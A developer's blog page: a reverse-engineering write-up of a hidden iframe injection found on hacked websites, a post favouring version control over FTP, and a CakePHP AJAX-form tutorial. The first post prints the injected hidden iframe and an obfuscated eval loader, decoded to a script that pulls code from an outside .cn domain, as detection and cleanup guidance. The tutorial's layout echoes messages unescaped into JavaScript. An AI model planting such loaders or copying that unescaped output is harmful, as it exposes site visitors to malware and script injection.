25 May

Reverse Engineering & removing new enhanced HTML Iframe Injection attack

Latest Developments

I’ve spent many hours fixing this ongoing latest Iframe injection trend lately, And I’ve noticed one thing, every time our team fixes it up – it comes back in a new enhanced form which is difficult to delete automatically. Like the first time it began with:

<iframe src=”http://goooogleadsence.biz/?click=8F9DA” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>

echo “<iframe src=\”http://goooogleadsence.biz/?click=8F9DA\” width=1 height=1 style=\”visibility:hidden;position:absolute\”></iframe>”;

After that, code got better and less readable. And now the final version looks like this:

<!–

(function(KWaP){var hSgtJ=’:76a:72:20a:3d:22ScriptEngine:22:2c:62:3d:22:56:65rs:

69on()+:22:2cj:3d:22:22:2cu:3dn:61vigato:72:2eus:65:72:41gent:3bif((u:2einde:78Of(:

22Chrom:65:22):3c0:29:26:26(u:2e:69nd:65:78Of(:22Win:22):3e0):26:26(:75:2eindex:

4ff(:22:4eT:206:22):3c0):26:26(d:6f:63um:65nt:2ecookie:2ei:6edex:4ff(:22miek:3d1:

22):3c0):26:26:28:74y:70e:6f:66(:7arvz:74s:29:21:3dtyp:65:6ff:28:22A:22))):

7bz:72:76zt:73:3d:22A:22:3be:76al(:22if(:77indow:2e:22+:61+:22)j:3dj+:22+:61+:22:

4dajo:72:22+b+:61+:22Mi:6eo:72:22+b:2ba+:22B:75ild:22+:62+:22j:3b:22):

3bdocument:2ewrite(:22:3c:73:63r:69:70:74:20src:3d:2f:2fma:22:2b:22rt:75z:2e:63n:

2f:76i:64:2f:3f:69d:3d:22+j+:22:3e:3c:5c:2f:73cript:3e:22):3b:7d’;

eval(unescape(hSgtJ.replace(KWaP,’%')))})(/\:/g);

–>

Let’s reverse engineer it for fun. See that little evil eval()? Replace it by alert() or any other logger function like console.log() for Firebug. That will give us:

<!–

var a=”ScriptEngine”,b=”Version()+”,j=”",u=navigator.userAgent;if((u.indexOf(”Chrome”)<0)&&(u.indexOf(”Win”)>0)&&(u.indexOf(”NT 6″)<0)&&(document.cookie.indexOf(”miek=1″)<0)&&(typeof(zrvzts)!=typeof(”A”))){zrvzts=”A”;

eval(”if(window.”+a+”)j=j+”+a+”Major”+b+a+”Minor”+b+a+”Build”+b+”j;”);document.write(”<script src=//ma”+”rtuz.cn/vid/?id=”+j+”><\/script>”);}

–>

That *.cn domain is back again. To find this new injection, common pattern you need to lookup is as below:

3bdocument:2ewrite(:

Some other patterns you might want to check:

document.write(’<iframe

www.zj5173.com

How to clean your website?

Use ‘grep’ command or any other tool for Windows like PowerGrep. Other possible idea for an advanced user to avoid these attacks is to use a version control tool, and keep your site as a checked out copy. The advantage using this method is that you’ll know all the modified files just by issuing simple “svn status” command.

 

You can also contact us directly if you need assistance on this. We’ve helped securing over 50+ websites in last 3 months.

29 Apr

Client’s Policies or Your productivity? / Version control over FTP

Best Practices

Not too long back my colleague asked community about how they handle their deployments and patches to the production server. We received quality response and various options – I learned many new things about how others were handling it. We are using Subversion for versioning our projects from last 3 years and were very happy to implement it. It reduced a lot of time in release cycle and all that hassle one has to go through, was simply gone.

But here comes the problem. The clients who are not willing to use such tools. Or are simply not giving you authorization to do so, or they are using shared hosting environment. I’ve seen this problem with my 5 out of 10 clients. They have a reason to stop you – they were never asked for this before from their previous development companies or whatsoever. Then, there are clients who say “Use ftp” when you ask them to send SSH access, this limits the productivity of the whole system and the project. However, I consider it as my call to make them aware of the things which can help them – and that is why I’m writing this post today.

So by this post, I actually want to highlight the advantages offered by any version control system over the regular FTP transfer for deployment – I’m sure this will help the buyers who don’t allow much control in hands of their web developers. Ok, here we go, these are some real BIG limitations you know you’ll face using FTP:

  1. Initial setup is always easy, updating and bug fixes and applying patches is difficult using FTP. You spend 10x more time being careful for things that can be handled automatically.
  2. You have to wait for the files to upload/download.
  3. If something goes wrong, it’s really difficult to revert to “last stable” state.

And when you’re using Subversion or any other version control tool for that matter – All these issues are no more your concern, and you can focus on real development rather than finding files and stuff. Here are some advantages offered by a standard version control system:

  1. To apply patches, you simply issue “svn up” command to the system (In case of subversion). It automatically updates the modified files.
  2. In case there’s something wrong, you can go back to any old revision and have your site running as it was. Using Subversion’s advanced features and proper versioning; you can also define a “last stable” version and be safe all the times.
  3. You don’t have to worry about latest back – everything is on a separate server with all revisions.

This is just a start – many things are eventually taken care of while using a version control. However, there are many other automated ways for this purpose, some people like using “rsync”, some rely on application servers and so.

I’m hoping that it’ll help buyers understand our offering better. Thanks for reading.

Abhimanyu Grover

21 Feb

Turn your normal CakePHP forms to AJAX forms in a second

Best Practices, CakePHP, jQuery

CakePHP helpers are so powerful that when you begin to hack helpers here and there you discover a lot of possibilities which can save you a lot of time. Same thing happened when I had an idea to AJAX'ify the forms using some shortcut.

Let's try hacking the FormHelper and enable AJAX. We'll use jQuery Form plugin to submit forms via AJAX request (I don't know any other good plugins for forms).

What we'll be doing:

Converting a normal form like below one, to make it call AJAX(using jQuery lib) and alert us when form posted:

PHP:
  1. <div class="jerks form">
  2. <?php echo $form->create('Jerk');?>
  3.     <fieldset>
  4.        <legend><?php __('Add Jerk');?></legend>
  5.     <?php
  6.         echo $form->input('name');
  7.     ?>
  8.     </fieldset>
  9. <?php echo $form->end('Submit');?>
  10. </div>

 

1. Extend your FormHelper to something like AjaxFormHelper (Now normally I don't extend core helpers like this, but use a similar method similar to this (comment by grigri): http://cakebaker.42dh.com/2008/10/18/dont-abuse-the-apphelper-to-extend-the-core-helpers/#comment-110708 ) and overwrite create() method like this:

PHP:
  1. function create($model = null, $options = array())
  2. {
  3.     $output = "";
  4.     if(isset($options['ajax']) && $options['ajax']=='true')
  5.     {
  6.         if(!isset($options['id']))
  7.         {
  8.             $options['id'] = 'form' . intval(mt_rand());
  9.         }
  10.        
  11.         $this->ajaxForm = $options['id'];
  12.         $url = "$('#".$options['id']."').attr('action')+'?ajax=1&flash_only=1";
  13.        
  14.         if(@$options['response']=='inline')
  15.         {
  16.             $datatype = 'text';
  17.             $success = "$('#".$options['id']."_status').hide().html(responseText).fadeIn();
  18.                         setTimeout(function(){
  19.                             $('#".$options['id']."_status').fadeOut();
  20.                         }, 5000);";
  21.             $url .= "&js=false'";
  22.         }
  23.         else {
  24.             $datatype = 'script';
  25.             $success = '';
  26.             $url .= "'";
  27.         }
  28.        
  29.         // to-do: avoid multiple inclusion of this script
  30.         $output .= "<div id='".$options['id']."_status' style='display:none;'></div>";
  31.         $output .= "<script src='".$this->Html->url('/effects/js/jquery.form.js')."'></script>";
  32.         $output .= "<script>
  33.         $(document).ready(function() {
  34.         $('#".$options['id']."').ajaxForm({dataType: '".$datatype."', url:  ".$url.",
  35.             beforeSubmit: function(){
  36.             $('#".$options['id']." .submit input').attr('disabled', true);
  37.             $('#progressIndicator').show();
  38.             $('#".$options['id']." .form_progress').show();
  39.             },
  40.             success: function(responseText, statusText){
  41.             $('#".$options['id']." .submit input').attr('disabled', false);
  42.             $('#progressIndicator').hide();
  43.             $('#".$options['id']." .form_progress').hide();
  44.             ".$success."
  45.             },
  46.         });
  47.     });
  48.     </script>";
  49.     }
  50.     // unset js options
  51.     $output .= parent::create($model, $options);
  52.    
  53.     return $this->output($output);
  54. }

I'm not that good in explaining code flow, but you might have noted 3 get variables appended to our form action URL above. These variables are: 'ajax','flash_only' ,'js' and serves their own purpose that I'll tell in next steps.

 

2. Now we enable the AJAX in our form (CakePHP's $options array is so good that you can overwrite and modify almost many methods easily):

This will show a JS alert after form has been submitted successfully.

PHP:
  1. <div class="jerks form">
  2. <?php echo $ajaxForm->create('Jerk', array('ajax'=>'true'));?>
  3.     <fieldset>
  4.        <legend><?php __('Add Jerk');?></legend>
  5.     <?php
  6.         echo $ajaxForm ->input('name');
  7.     ?>
  8.     </fieldset>
  9. <?php echo $ajaxForm ->end('Submit');?>
  10. </div>

This will show an inline message after form has been submitted successfully.

PHP:
  1. <div class="jerks form">
  2. <?php echo $ajaxForm->create('Jerk', array('ajax'=>'true' , 'response'=>'inline'));?>
  3.     <fieldset>
  4.        <legend><?php __('Add Jerk');?></legend>
  5.     <?php
  6.         echo $ajaxForm ->input('name');
  7.     ?>
  8.     </fieldset>
  9. <?php echo $ajaxForm ->end('Submit');?>
  10. </div>

Note that ajax=true parameter we sent in create() method. This will tell helper to load this form via AJAX.

 

3. Now your form will be AJAX ready (if you've included this AjaxFormHelper properly). But because our controller function was made to process normal POST function, and flash message on success – we'll have to change that behavior. This is what a normal JerksController::add() method should look like:

PHP:
  1. function add() {
  2.         if (!empty($this->data)) {
  3.             $this->Jerk->create();
  4.             if ($this->Jerk->save($this->data)) {
  5.                 $this->Session->setFlash('Jerk saved.');
  6.             } else {
  7.             }
  8.         }
  9.     }

We don't need full action content from views/jerks/add.ctp to appear in response when AJAX is called. We can make this work traditional way by checking if it's an AJAX request in controller method itself and do needful, but I wouldn't want to modify all my controller functions to enable AJAX, so here's what I've come up with.

Remember the 3 GET variables above?

'ajax' => This one will determine if a given HTTP request is an AJAX request.

'flash_only' => This will tell if rendering should happen or not. Flash only means, after controller function is executed, do not render, just show flash message.

'js' => This is used for alert type, if this is not set, show inline alert. If set true, helper must show JS alert() on form success.

Inside your AppController::beforeFilter(), add this code:

PHP:
  1. if(isset($_GET['ajax']))
  2. {
  3.     Configure::write('debug',0);
  4.     $this->layout = 'ajax';
  5.     $ this ->set('ajax', true);
  6.     if($_GET['flash_only'])
  7.     {
  8.         $ this ->set('flash_only', true);
  9.         //$ this ->autoRender = false;
  10.     }
  11.    
  12.     if($_GET['js']=='false')
  13.     {
  14.         $ this ->set('js', 0);
  15.     }
  16.     else {
  17.         $ this ->set('js', 1);
  18.     }
  19. }

Do not blame me for using GET variables, I found many issues with 'named' so I'm relying on normal GET variables.

Now you'll need to edit ajax.ctp layout file.

PHP:
  1. <?php
  2. if ($session->check('Message.flash'))
  3. {
  4.     $strMessage = '';
  5.     $message = $session->read('Message.flash');
  6.     if(isset($message['params']['type']))
  7.     {
  8.         $type = $message['params']['type'];
  9.         $strMessage = ucfirst($type).": ".$message['message'];   
  10.     }
  11.     else {
  12.         $strMessage = $message['message'];     
  13.     }
  14.     $session->del('Message.flash');
  15. }
  16. if(!empty($this->validationErrors))
  17. {
  18.     $strMessage = '';
  19.     foreach($this->validationErrors as $model=>$errors)
  20.     {
  21.         foreach($this->validationErrors[$model] as $field=>$error)
  22.         {
  23.             $strMessage .= $error;
  24.         }
  25.     }
  26. }
  27. ?>
  28. <?
  29. if($strMessage) {
  30.     if($js==1) {
  31. ?>
  32.     alert('<?=$strMessage;?>');
  33. <? } elseif($js==0) {
  34.     echo $strMessage;
  35. } } ?>
  36. <?
  37. if(!isset($flash_only))
  38. {
  39.     echo $content_for_layout;
  40. }
  41. ?>

This should be self explanatory, even though this code definitely needs some refactoring. We're basically manipulating those 3 GET variables according to our need. In process, we're also checking validation errors occurred in form.

I have not used it under the production environment yet, so I'd really like to hear any pitfalls (if any) using this approach. Thanks for reading.

Abhimanyu Grover

Hire us

Contact us to get a free quote on your project.